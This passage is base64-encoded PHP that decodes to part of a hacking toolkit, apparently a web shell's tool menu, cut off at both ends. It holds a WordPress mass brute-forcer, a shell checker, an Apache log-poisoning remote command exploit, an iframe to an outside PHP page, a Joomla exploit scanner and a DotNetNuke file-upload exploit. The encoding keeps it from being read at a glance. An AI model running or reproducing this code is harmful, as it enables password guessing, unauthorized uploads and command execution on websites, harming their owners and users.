Y2ltJ109PTEwKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcxMCcpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTExKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcxMScpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTEyKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcxMicpOw0KICAgIH0NCiAgICAgDQogICAgfQ0KICAgICANCiAgICB9DQogICAgIA0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJicnV0ZWNpIiApIHsNCiAgICBvYl9zdGFydCgpOw0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAjV29yZHByZXNzIE1hc3MgQnJ1dGUgRm9yY2VyIw0KICAgICNDb2RleC14IEJ5IGl6bGV5aWNpIw0KICAgICNTaXRlbGVyaSBodHRwOi8vd3d3LnNpdGUuY29tLyBTZWtsaW5kZSB2ZXJpbiMNCiAgICAgDQogICAgZWNobyAnPHRpdGxlPldvcmRwcmVzcyBNYXNzIEJydXRlIEZvcmNlcjwvdGl0bGU+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICA8IS0tDQogICAgYm9keSx0ZCx0aCB7DQogICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgfQ0KICAgIGJvZHkgew0KICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogICAgfQ0KICAgIC5zaXlhaCB7DQogICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzk5MDAwMDsNCiAgICB9DQogICAgLnN0eWxlMiB7DQogICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzk5MDAwMDsNCiAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICBmb250LXNpemU6IDI0cHg7DQogICAgfQ0KICAgIC0tPg0KICAgIDwvc3R5bGU+DQogICAgPGRpdiBhbGlnbj0iY2VudGVyIiBjbGFzcz0ic3R5bGUyIj5Xb3JkcHJlc3MgTWFzcyBCcnV0ZSBGb3JjZXIgPC9kaXY+DQogICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9wPg0KICAgIDxwIGFsaWduPSJjZW50ZXIiPg0KICAgICAgPHRleHRhcmVhIG5hbWU9InNpdGVsaXN0IiBjb2xzPSI0MCIgcm93cz0iMTAiIGNsYXNzPSJzaXlhaCIgaWQ9InNpdGVsaXN0Ij48L3RleHRhcmVhPg0KICAgICAgPGJyPg0KICAgICAgPGJyPg0KICAgIFNpZnJlIExpc3Rlc2k6IDxpbnB1dCBuYW1lPSJsaXN0ZSIgdHlwZT0idGV4dCIgdmFsdWU9InNpZnJlbGVyLnR4dCI+PGJyPg0KICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpeWFoIiB2YWx1ZT0iVGFyYSB5aWdlbiI+DQogICAgPC9wPg0KICAgIDwvZm9ybT4nOw0KICAgICRzaXRlbGlzdD1leHBsb2RlKCJcbiIsJF9QT1NUWydzaXRlbGlzdCddKTsNCiAgICBmb3JlYWNoKCRzaXRlbGlzdCBhcyAkeWVuaWxpc3Qpew0KICAgICR0ZW1pej10cmltKCR5ZW5pbGlzdCk7DQogICAgJHNpdGU9JHRlbWl6Ow0KICAgICANCiAgICBpZighICRfUE9TVFsnc2l0ZWxpc3QnXT09IiIpew0KICAgICRwYXNzPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsaXN0ZSddKTsNCiAgICBmb3JlYWNoKGZpbGUoJHBhc3MpYXMgJHBhc3N3b3JkKXsNCiAgICAgDQogICAgJGN1cmwgPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlLicvd3AtbG9naW4ucGhwJyk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVKQVIsImNva2kxMS50eHQiKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsImNva2kxMS50eHQiKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVCxUUlVFKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1RGSUVMRFMsImxvZz1hZG1pbiZwd2Q9JHBhc3N3b3JkJndwLXN1Ym1pdD1Mb2crSW4mcmVkaXJlY3RfdG89LiRzaXRlLi93cC1hZG1pbi8mdGVzdGNvb2tpZT0xIik7DQogICAgIA0KICAgICRhID0gY3VybF9leGVjKCRjdXJsKTsNCiAgICAgDQogICAgaWYoZXJlZ2kgKCJwcm9maWxlLnBocCIsJGEpKXsNCiAgICAgDQogICAgIA0KICAgICAgICAgIGVjaG8gJzxjZW50ZXI+PGEgaHJlZj0iJy4kc2l0ZS4nL3dwLWxvZ2luLnBocD9yZWRpcmVjdF90bz0nLiRzaXRlLicvd3AtYWRtaW4vcmVhdXRoPTEiIHRhcmdldD0iX2JsYW5rIj4nLiRzaXRlLicgdXNlcj1hZG1pbiBwYXNzPScuJHBhc3N3b3JkLic8L2E+PC9jZW50ZXI+JzsNCiAgICAkaXpiYWs9Zm9wZW4oIm9rLnBocCIsYSk7DQogICAgZndyaXRlKCRpemJhaywkc2l0ZS4kcGFzc3dvcmQuIjxicj5cbiIpOw0KICAgIG9iX2ZsdXNoKCk7DQogICAgZmx1c2goKTsNCiAgICAgDQogICAgfQ0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJzaGVsbGNpIiApIHsNCiAgICBvYl9zdGFydCgpOw0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgIGVjaG8gJzxjZW50ZXI+PHRpdGxlPlNoZWxsIEtvbnRyb2xj/CA8L3RpdGxlPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIFNpdGVsZXIgOyA8YnI+PHRleHRhcmVhIG5hbWU9InNpdGVsZXIiIGNvbHM9IjM1IiByb3dzPSI3Ij48L3RleHRhcmVhPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idGFyYSI+DQogICAgPC9mb3JtPg0KICAgIDwvY2VudGVyPic7DQogICAgIA0KICAgIGlmKCEgJF9QT1NUWydzaXRlbGVyJ109PSIiKXsNCiAgICAgDQogICAgJHNpdGVsZXIgPSBleHBsb2RlKCJcbiIsJF9QT1NUWydzaXRlbGVyJ10pOw0KICAgIGZvcmVhY2goJHNpdGVsZXIgYXMgJHNpdGVzKXsNCiAgICAkc2l0ZXM9dHJpbSgkc2l0ZXMpOw0KICAgICRjdXJsPWN1cmxfaW5pdCgkc2l0ZXMpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgJGV4ZWM9Y3VybF9leGVjKCRjdXJsKTsNCiAgICBpZihlcmVnaSgnc2FmZV9tb2QnLCRleGVjKSl7DQogICAgZWNobyAnPGEgaHJlZj0iJy4kc2l0ZXMuJyI+Jy4kc2l0ZXMuJzwvYT48YnI+JzsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgfQ0KICAgIH0NCiAgICAgDQogICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJhcGFjaGUiICkgew0KICAgICRrb211dCA9ICRfUE9TVFsna29tdXQnXTsNCiAgICAkc2l0ZSA9ICRfUE9TVFsnc2l0ZSddOw0KICAgICRzaXRlMSA9ICRfUE9TVFsnc2l0ZTEnXTsNCiAgICBlY2hvICcNCiAgICA8YnI+PGgzPiBBcGFjaGUgTG9nIEVuamVrdGU8L2gzPjxicj4NCiAgICA8Zm9udCBjb2xvcj1ibHVlPg0KICAgICMjIyBLdWxsYW5pbSAjIyM8YnI+PGJyPg0KICAgICANCiAgICD2cm5layA6PGJyPg0KICAgIDxicj4NCiAgICBzaXRlPSB3d3cudGFyZ2V0LmNvbTxicj4NCiAgICBMRkk9IGh0dHA6Ly93d3cudGFyZ2V0LmNvbS9hcGFjaGUubG9nJTAwPGJyPg0KICAgIEtvbXV0PSBscyAtbGE8YnI+DQogICAgc2VrbGluZGUgZ2lyZXJzZW5peiBrb211dCBzaXN0ZW1pbmluIHNvbnVjdW51IGxpc3RlbGV5ZWNla3RpciA8YnI+PGJyPjxicj48YnI+PC9GT05UPg0KICAgIDxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iIj4NCiAgICBzaXRlOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zaXRlMSB2YWx1ZT0iJzsNCiAgICBlY2hvICRzaXRlMTsNCiAgICBlY2hvICciPg0KICAgIExGSTo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2l0ZSB2YWx1ZT0iJzsNCiAgICBlY2hvICRzaXRlOw0KICAgIGVjaG8gJyI+DQogICAgS29tdXQ6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWtvbXV0IHZhbHVlPSInOw0KICAgIGVjaG8gJGtvbXV0Ow0KICAgIGVjaG8gJyI+DQogICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJCYVEiPic7DQogICAgJGtvbXV0ID0gJF9QT1NUWydrb211dCddOw0KICAgICRzaXRlID0gJF9QT1NUWydzaXRlJ107DQogICAgJHNpdGUxID0gJF9QT1NUWydzaXRlMSddOw0KICAgIGlmKGlzc2V0KCRzaXRlKSkgew0KICAgIGlmKGlzc2V0KCRzaXRlMSkpIHsNCiAgICBpZihpc3NldCgka29tdXQpKSB7DQogICAgJGtvbXV0MSA9IHVybGVuY29kZSgka29tdXQpOw0KICAgICRrb2QgPSAnPHQxdGw4Pjw/IHBhc3N0aHJ1KCRfR0VUW2l6bzFdKSA/PjwvdDF0bDg+JzsNCiAgICAkZnAgPSBmc29ja29wZW4oIiRzaXRlMSIsIDgwLCAkZXJybm8sICRlcnJzdHIsIDMwKTsNCiAgICBpZiAoISRmcCkgew0KICAgICAgICBlY2hvICIkZXJyc3RyICgkZXJybm8pPGJyIC8+XG4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRvdXQgPSAiR0VUIC8ka29kIEhUVFAvMS4xXHJcbiI7DQogICAgICAgICRvdXQgLj0gIkhvc3Q6ICRzaXRlMSBcclxuIjsNCiAgICAgICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7DQogICAgICAgIGZ3cml0ZSgkZnAsICRvdXQpOw0KICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICB9DQogICAgJGl6byA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkc2l0ZSZpem8xPSRrb211dDEiKTsNCiAgICBwcmVnX21hdGNoX2FsbCgnIzx0MXRsOD4oLio/KTwvdDF0bDg+I3NpJywgJGl6bywgJHNpdGVtaXMpOw0KICAgIGZvcmVhY2goYXJyYXlfdW5pcXVlKCRzaXRlbWlzWzFdKSBhcyAkbGZpKSB7DQogICAgZWNobyAiPGg0PjxwcmU+PGZvbnQgY29sb3I9cmVkPiI7DQogICAgZWNobyAkbGZpOw0KICAgIGVjaG8gIjwvZm9udD48L2g0PjwvcHJlPiI7DQogICAgfQ0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJlMTA3IiApIHsNCiAgICA/Pg0KICAgIDxpZnJhbWUgc3JjPSdodHRwOi8vYXJjaGl0cmF2ZS5jb20ubXkvdGhlbWVzL2VuZ2xpc2gucGhwJyAgd2lkdGg9MTAwJSBoZWlnaHQ9NjAwIGlkPSJJMSIgbmFtZT0iSUYxIiA+DQogICAgPD8NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAiam9vbWxhZXhwbG9pdCIgKSB7DQogICAgPz4NCiAgICA8aHRtbD4NCiAgICA8aGVhZD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJmciI+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUyIj4NCiAgICA8dGl0bGU+I35Kb29NbGEgc2VydjNyIFNjYU5OM3I8L3RpdGxlPg0KICAgIDxzdHlsZT4NCiAgICBib2R5LHRhYmxle2JhY2tncm91bmQ6IGJsYWNrOyBmb250LWZhbWlseTpWZXJkYW5hLHRhaG9tYTsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6MTBweDsgfQ0KICAgIEE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiByZWQ7fQ0KICAgIEE6YWN0aXZlIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9DQogICAgQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9DQogICAgQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IGNvbG9yOiByZWQ7fQ0KICAgICNuZXcsaW5wdXQsdGFibGUsdGQsdHIsI2dne2JvcmRlci1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246Ym9sZDt9DQogICAgaW5wdXQ6aG92ZXIsdHI6aG92ZXIsdGQ6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjogI0ZGRkZDQzsgY29sb3I6Z3JlZW47fQ0KICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgICANCiAgICA8Ym9keT4NCiAgICAgDQogICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9wPg0KICAgIDxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCiAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+DQogICAgPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgc2l6ZT0iMyI+I35Kb29NbGEgc2VydjNyIFNjYU5OM3I8L2ZvbnQ+PC9wPjxicj4NCiAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2l0ZSIgc2l6ZT0iNjUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FOIj48L3A+DQogICAgPC9mb3JtPjxjZW50ZXI+DQogICAgPD9waHANCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGVycm9yX3JlcG9ydGluZyhFX0FMTCB8IEVfTk9USUNFKTsNCiAgICAgDQogICAgZnVuY3Rpb24gY2hlY2tfZXhwbG9pdCgkY29teHgpew0KICAgICANCiAgICAkbGluayA9Imh0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9wYWdlPTEmZmlsdGVyX2Rlc2NyaXB0aW9uPSRjb214eCZmaWx0ZXJfZXhwbG9pdF90ZXh0PSZmaWx0ZXJfYXV0aG9yPSZmaWx0ZXJfcGxhdGZvcm09MCZmaWx0ZXJfdHlwZT0wJmZpbHRlcl9sYW5nX2lkPTAmZmlsdGVyX3BvcnQ9JmZpbHRlcl9vc3ZkYj0mZmlsdGVyX2N2ZT0iOw0KICAgICANCiAgICAkcmVzdWx0ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsaW5rKTsNCiAgICAgDQogICAgaWYgKGVyZWdpKCJObyByZXN1bHRzIiwkcmVzdWx0KSkgIHsNCiAgICAgDQogICAgZWNobyI8dGQ+Tm90IEZvdW5kPC90ZD48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5nb29nbGUuZHovI2hsPWVuJnE9ZG93bmxvYWQrJGNvbXh4K2pvb21sYStleHRlbnNpb24nPkRvd25sb2FkPC9hPjwvdGQ+PC90cj4iOw0KICAgICANCiAgICB9ZWxzZXsNCiAgICAgDQogICAgZWNobyI8dGQ+PGEgaHJlZj0nJGxpbmsnPkZvdW5kPC9hPjwvdGQ+PHRkPjw9PC90ZD48L3RyPiI7DQogICAgIA0KICAgIH0NCiAgICB9DQogICAgIA0KICAgIGZ1bmN0aW9uIGNoZWNrX2NvbSgkdXJsKXsNCiAgICAgDQogICAgJHNvdXJjZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICAgDQogICAgcHJlZ19tYXRjaF9hbGwoJ3tvcHRpb24sKC4qPykvfWknLCRzb3VyY2UsJGYpOw0KICAgIHByZWdfbWF0Y2hfYWxsKCd7b3B0aW9uPSguKj8pKCZhbXA7fCZ8Iil9aScsJHNvdXJjZSwkZjIpOw0KICAgIHByZWdfbWF0Y2hfYWxsKCd7L2NvbXBvbmVudHMvKC4qPykvfWknLCRzb3VyY2UsJGYzKTsNCiAgICAgDQogICAgJGFyej1hcnJheV9tZXJnZSgkZjJbMV0sJGZbMV0sJGYzWzFdKTsNCiAgICAgDQogICAgJGNvbXM9YXJyYXkoKTsNCiAgICAgDQogICAgZm9yZWFjaChhcnJheV91bmlxdWUoJGFyeikgYXMgJHgpew0KICAgICRjb21zW109JHg7DQogICAgfQ0KICAgICANCiAgICBmb3JlYWNoKCRjb21zIGFzICRjb21tKXsNCiAgICAgDQogICAgZWNobyAiPHRyPjx0ZD4kY29tbTwvdGQ+IjsNCiAgICBjaGVja19leHBsb2l0KCRjb21tKTsNCiAgICB9DQogICAgIA0KICAgIH0NCiAgICAgDQogICAgZnVuY3Rpb24gc2VjKCRzaXRlKXsNCiAgICBwcmVnX21hdGNoX2FsbCgne2h0dHA6Ly8oLio/KSgvaW5kZXgucGhwKX1zaVUnLCRzaXRlLCAkc2l0ZXMpOw0KICAgIGlmKGVyZWdpKCJ3d3ciLCRzaXRlc1swXVswXSkpew0KICAgIHJldHVybiAkc2l0ZT1zdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIiwkc2l0ZXNbMF1bMF0pOw0KICAgIH1lbHNlew0KICAgIHJldHVybiAkc2l0ZT1zdHJfcmVwbGFjZSgiaHR0cDovLyIsImh0dHA6Ly93d3cuIixzdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIiwkc2l0ZXNbMF1bMF0pKTsNCiAgICB9fQ0KICAgICANCiAgICAkbnBhZ2VzID0gNTAwMDA7DQogICAgIA0KICAgIGlmICgkX1BPU1QpDQogICAgew0KICAgICAgJGlwID0gdHJpbShzdHJpcF90YWdzKCRfUE9TVFsnc2l0ZSddKSk7DQogICAgICAkbnBhZ2UgPSAxOw0KICAgICAgJGFsbExpbmtzID0gYXJyYXkoKTsNCiAgICAgDQogICAgIA0KICAgICAgIHdoaWxlKCRucGFnZSA8PSAkbnBhZ2VzKQ0KICAgICAgew0KICAgICANCiAgICAgICR4PUBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT1pcCUzQScgLiAkaXAgLiAnK2luZGV4LnBocD9vcHRpb249Y29tJmZpcnN0PScgLiAkbnBhZ2UpOw0KICAgICANCiAgICAgDQogICAgICAgIGlmICgkeCkNCiAgICAgICAgew0KICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyg8ZGl2IGNsYXNzPSJzYl90bHN0Ij4uKjxoMz4uKjxhIGhyZWY9IiguKikiLio+KC4qKTwvYT4uKjwvaDM+Lio8L2Rpdj4pc2lVJywgJHgsICRmaW5kbGluayk7DQogICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJGZpbmRsaW5rWzFdIGFzICRmbCkNCiAgICAgICAgICAgDQogICAgICAgICAgICAkYWxsTGlua3NbXT1zZWMoJGZsKTsNCiAgICAgICAgICAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgJG5wYWdlID0gJG5wYWdlICsgMTA7DQogICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyhmaXJzdD0nIC4gJG5wYWdlIC4gJyZhbXApc2lVJywgJHgsICRsaW5rc3VpdikgPT0gMCkNCiAgICAgICAgICAgICAgICBicmVhazsgICAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgICAgDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgfQ0KICAgICANCiAgICAgDQogICAgJGFsbERtbnMgPSBhcnJheSgpOw0KICAgICANCiAgICBmb3JlYWNoICgkYWxsTGlua3MgYXMgJGtrID0+ICR2dil7DQogICAgIA0KICAgICRhbGxEbW5zW10gPSAkdnY7DQogICAgfQ0KICAgICAgICAgICAgICAgDQogICAgZWNobyc8dGFibGUgYm9yZGVyPSIxIiAgd2lkdGg9XCI4MCVcIiBhbGlnbj1cImNlbnRlclwiPg0KICAgIDx0cj48dGQgd2lkdGg9XCIzMCVcIj48Yj5TZXJ2ZXIgSVAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgOiA8L2I+PC90ZD48dGQ+PGI+Jy4kaXAuJzwvYj48L3RkPjwvdHI+ICAgICAgICAgICAgDQogICAgPHRyPjx0ZCB3aWR0aD1cIjMwJVwiPjxiPlNpdGVzIEZvdW5kJm5ic3A7IDogPC9iPjwvdGQ+PHRkPjxiPicuY291bnQoYXJyYXlfdW5pcXVlKCRhbGxEbW5zKSkuJzwvYj48L3RkPjwvdHI+DQogICAgPC90YWJsZT4nOw0KICAgIGVjaG8gIjxicj48YnI+IjsNCiAgICAgDQogICAgZWNobyc8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iODAlIiBhbGlnbj1cImNlbnRlclwiPic7DQogICAgIA0KICAgIGZvcmVhY2goYXJyYXlfdW5pcXVlKCRhbGxEbW5zKSBhcyAkaDNoMyl7DQogICAgIA0KICAgIGVjaG8nPHRyIGlkPW5ldz48dGQ+PGI+PGEgaHJlZj0nLiRoM2gzLic+Jy4kaDNoMy4nPC9hPjwvYj48L3RkPjx0ZD48Yj5FeHBsb2l0LWRiPC9iPjwvdGQ+PHRkPjxiPmNoYWxsZW5nZSBvZiBFeHBsb2l0aW5nIC4uITwvYj48L3RkPjwvdHI+JzsNCiAgICAgDQogICAgY2hlY2tfY29tKCRoM2gzKTsNCiAgICAgDQogICAgfQ0KICAgICANCiAgICBlY2hvIjwvdGFibGU+IjsNCiAgICAgDQogICAgfQ0KICAgID8+PC9jZW50ZXI+DQogICAgPGJyPjxwIGFsaWduPSJjZW50ZXIiPg0KICAgIE1hRGUgaW4gQWxnZXJpYSAocikNCiAgICA8L3A+DQogICAgPC9ib2R5Pg0KICAgICANCiAgICA8L2h0bWw+DQogICAgPD8NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAiZG90bnVrZSIgKSB7DQogICAgb2Jfc3RhcnQoKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAvKg0KICAgIERvdG51a2UgQnVnIEF1dG9tYXRpYyBVcGxvYWRlciAtIFByaXZhdGUgW01peWFDaHVuZ10NCiAgICBDb2RlZCBieSBNaXlhQ2h1bmcNCiAgICBNaXlhQ2h1bmdAaG90bWFpbC5jb20NCiAgICAqLw0KICAgIGNsYXNzIGZzb3sNCiAgICAgDQogICAgICAgICAgcHVibGljICRyZWdleCA9ICcvQSBGaWxlIE9uIFlvdXIgU2l0ZS8nOw0KICAgICAgICAgIHB1YmxpYyAkZWsgICAgPSAnL1Byb3ZpZGVycy9IdG1sRWRpdG9yUHJvdmlkZXJzL0Zjay9mY2tsaW5rZ2FsbGVyeS5hc3B4JzsNCiAgICAgICAgICBwdWJsaWMgJGFsICAgID0gIi9pZD1cIl9fVklFV1NUQVRFXCIgdmFsdWU9XCIoLio/KVwiLyI7DQogICAgICAgICAgcHVibGljICRrb2QgICA9ICdqYXZhc2NyaXB0Ol9fZG9Qb3N0QmFjaygiY3RsVVJMJGNtZFVwbG9hZCIsIiIpJzsNCiAgICAgICAgICBwdWJsaWMgJGRpemluID0gJy88b3B0aW9uIHNlbGVjdGVkPSJzZWxlY3RlZCIgdmFsdWU9IiguKj8pIj4oLio/KTxcL29wdGlvbj4vJzsNCiAgICAgICAgIA0KICAgICAgICAgDQogICAgICAgICAgcHVibGljIGZ1bmN0aW9uIGJhZ2xhbigkdXJsLCRkb3N5YSwkeWF6KXsNCiAgICAgICAgIA0KICAgICAgICAgICRjdXJsPWN1cmxfaW5pdCgpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwuJHRoaXMtPmVrKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0hFQURFUiwwKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1ZFUkJPU0UsMCk7DQogICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTMpIEdlY2tvLzIwMTAxMjAzIEZpcmVmb3gvMy42LjEzICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOw0KICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQogICAgICAgICAgJGV4ZWMgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICAgICAgDQogICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgkdGhpcy0+cmVnZXgsJGV4ZWMpKXsNCiAgICAgICAgIA0KICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCR0aGlzLT5hbCwkZXhlYywkdmlldyk7DQogICAgICAgICAgICAgDQogICAgICAgICAgICAgJGJhZ2xhbl8yID0gc2VsZjo6YmFnbGFuXzIoJHVybC4kdGhpcy0+ZWssJHZpZXdbMV1bMF0pOw0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCR0aGlzLT5kaXppbiwkYmFnbGFuXzIsJHlvbCk7DQogICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHRoaXMtPmFsLCRiYWdsYW5fMiwkZ29zdGVyKTsNCiAgICAgICAgICAgICANCiAgICAgICAgICAgICAkYmFnbGFuXzMgPSBzZWxmOjpiYWdsYW5fMygkdGhpcy0+a29kKTsNCiAgICAgDQogICAgICAgICAgICAgJGJhZ2xhbl80ID0gc2VsZjo6YmFnbGFuXzQoJHVybC4kdGhpcy0+ZWssJHlvbFsxXVswXSwkZG9zeWEsJGdvc3RlclsxXVswXSk7DQogICAgICAgDQogICAgIA0KICAgICAgICAgICAgICAgICRyZWcgPSAnLycuJHlhei4nLyc7DQogICAgICAgDQogICAgICAgaWYocHJlZ19tYXRjaCgkcmVnLCRiYWdsYW5fNCkpew0KICAgICAgIA0KICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgJHVybCA9ICR1cmwuIi9Qb3J0YWxzLzAvIi4keW9sWzFdWzBdLiR5YXo7DQogICAgIA0KICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9IicuJHVybC4nIj4nLiR1cmwuJzwvYT48YnI+JzsNCiAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAka2F5ZGV0ID0gZm9wZW4oJ2R1c2VubGVyLnR4dCcsJ2FiJyk7DQogICAgICAgICAgICAgICAgZndyaXRlKCRrYXlkZXQsJHVybC4iXHJcbiIpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgka2F5ZGV0KTsNCiAgICAgICAgIA0KICAgICAgICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAgICAgIA0KICAgICAgICAgICAgIH0NCiAgICAgDQogICAgICAgICANCiAgICAgICAgICB9DQogICAgICAgICAgcHVibGljIGZ1bmN0aW9uIGJhZ2xhbl8yKCR1cmwsJHZpZXcpew0KICAgICAgICAgDQogICAgICAgICANCiAgICAgICAgICAkcG9zdCA9IGFycmF5KCdfX0VWRU5UVEFSR0VUJz0+J2N0bFVSTCRvcHRUeXBlJDInLCdfX0VWRU5UQVJHVU1FTlQnPT4nJywnX19MQVNURk9DVVMnPT4nJywnY3RsVVJMJG9wdFR5cGUnPT4nRicsJ2N0bFVSTCR0eHRVcmwnPT4naHR0cDovLycsJ19fVklFV1NUQVRFJz0